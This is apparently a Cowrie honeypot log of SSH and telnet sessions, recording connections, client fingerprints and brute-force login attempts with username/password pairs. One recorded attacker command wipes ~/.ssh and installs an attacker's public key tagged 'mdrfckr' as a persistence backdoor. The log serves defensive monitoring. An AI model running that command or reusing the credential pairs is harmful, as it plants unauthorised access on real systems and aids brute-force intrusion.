{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:38.545356Z","src_ip":"96.70.252.227","session":"ecddf9325fee","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:38.548679Z","src_ip":"96.70.252.227","session":"ecddf9325fee","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:38.585750Z","src_ip":"96.70.252.227","session":"ecddf9325fee","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:38.590093Z","src_ip":"96.70.252.227","session":"ecddf9325fee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":56668,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dabf4dadaa3","protocol":"ssh","message":"New connection: 96.70.252.227:56668 (159.203.135.109:22) [session: 5dabf4dadaa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:38.595492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:38.602562Z","src_ip":"96.70.252.227","session":"5dabf4dadaa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:38.638753Z","src_ip":"96.70.252.227","session":"5dabf4dadaa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:38.788862Z","src_ip":"96.70.252.227","session":"5dabf4dadaa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:39.825818Z","src_ip":"96.70.252.227","session":"5dabf4dadaa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":36932,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f31642ab327","protocol":"ssh","message":"New connection: 96.70.252.227:36932 (159.203.135.109:22) [session: 7f31642ab327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:39.834482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:39.873492Z","src_ip":"96.70.252.227","session":"7f31642ab327","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:39.897662Z","src_ip":"96.70.252.227","session":"7f31642ab327","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:40.051667Z","src_ip":"96.70.252.227","session":"7f31642ab327","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:40.077941Z","src_ip":"96.70.252.227","session":"ecddf9325fee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:40.096410Z","src_ip":"96.70.252.227","session":"7f31642ab327","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":60690,"dst_ip":"159.203.135.109","dst_port":22,"session":"f56cd1069fbf","protocol":"ssh","message":"New connection: 58.69.56.44:60690 (159.203.135.109:22) [session: f56cd1069fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:04.602548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:04.608009Z","src_ip":"58.69.56.44","session":"f56cd1069fbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.46.214.8","src_port":20030,"dst_ip":"10.17.0.5","dst_port":23,"session":"be682c7d22b0","protocol":"telnet","message":"New connection: 112.46.214.8:20030 (10.17.0.5:23) [session: be682c7d22b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:04.691638Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:04.845341Z","src_ip":"58.69.56.44","session":"f56cd1069fbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"Aa123456","message":"login attempt [amir/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:05.809486Z","src_ip":"58.69.56.44","session":"f56cd1069fbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:07.046243Z","src_ip":"58.69.56.44","session":"f56cd1069fbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":36604,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2cf90e335d1","protocol":"ssh","message":"New connection: 40.81.244.142:36604 (159.203.135.109:22) [session: d2cf90e335d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:19.578220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:19.582670Z","src_ip":"40.81.244.142","session":"d2cf90e335d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:19.764249Z","src_ip":"40.81.244.142","session":"d2cf90e335d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.403825521469116,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:20.095127Z","src_ip":"112.46.214.8","session":"be682c7d22b0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user1","password":"q1w2e3r4","message":"login attempt [user1/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:20.520176Z","src_ip":"40.81.244.142","session":"d2cf90e335d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:21.704032Z","src_ip":"40.81.244.142","session":"d2cf90e335d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":46726,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c51cc4ccc0d","protocol":"ssh","message":"New connection: 222.167.161.198:46726 (159.203.135.109:22) [session: 3c51cc4ccc0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:34.029157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:34.033976Z","src_ip":"222.167.161.198","session":"3c51cc4ccc0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:34.311544Z","src_ip":"222.167.161.198","session":"3c51cc4ccc0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456qwe","message":"login attempt [test/123456qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:35.450278Z","src_ip":"222.167.161.198","session":"3c51cc4ccc0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:36.730017Z","src_ip":"222.167.161.198","session":"3c51cc4ccc0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":27304,"dst_ip":"159.203.135.109","dst_port":23,"session":"294c3ce9f124","protocol":"telnet","message":"New connection: 87.90.84.206:27304 (159.203.135.109:23) [session: 294c3ce9f124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:40.905587Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":27684,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba95c100481c","protocol":"telnet","message":"New connection: 87.90.84.206:27684 (159.203.135.109:23) [session: ba95c100481c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:45.029209Z"}
{"eventid":"cowrie.session.closed","duration":0.871206521987915,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:45.900323Z","src_ip":"87.90.84.206","session":"ba95c100481c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":29152,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f4dbf167f2d","protocol":"telnet","message":"New connection: 87.90.84.206:29152 (159.203.135.109:23) [session: 5f4dbf167f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:48.817434Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":29862,"dst_ip":"159.203.135.109","dst_port":23,"session":"537a1db2fb85","protocol":"telnet","message":"New connection: 87.90.84.206:29862 (159.203.135.109:23) [session: 537a1db2fb85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:19:50.180320Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":49628,"dst_ip":"159.203.135.109","dst_port":22,"session":"c10c7d6bd94b","protocol":"ssh","message":"New connection: 58.69.56.44:49628 (159.203.135.109:22) [session: c10c7d6bd94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:20:08.900619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:20:08.910537Z","src_ip":"58.69.56.44","session":"c10c7d6bd94b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:20:09.149010Z","src_ip":"58.69.56.44","session":"c10c7d6bd94b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser@123","message":"login attempt [ftpuser/ftpuser@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:20:10.146308Z","src_ip":"58.69.56.44","session":"c10c7d6bd94b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:20:11.392529Z","src_ip":"58.69.56.44","session":"c10c7d6bd94b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":40098,"dst_ip":"159.203.135.109","dst_port":22,"session":"92414352f028","protocol":"ssh","message":"New connection: 40.81.244.142:40098 (159.203.135.109:22) [session: 92414352f028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:20:23.420935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:20:23.425594Z","src_ip":"40.81.244.142","session":"92414352f028","protocol":"ssh"}
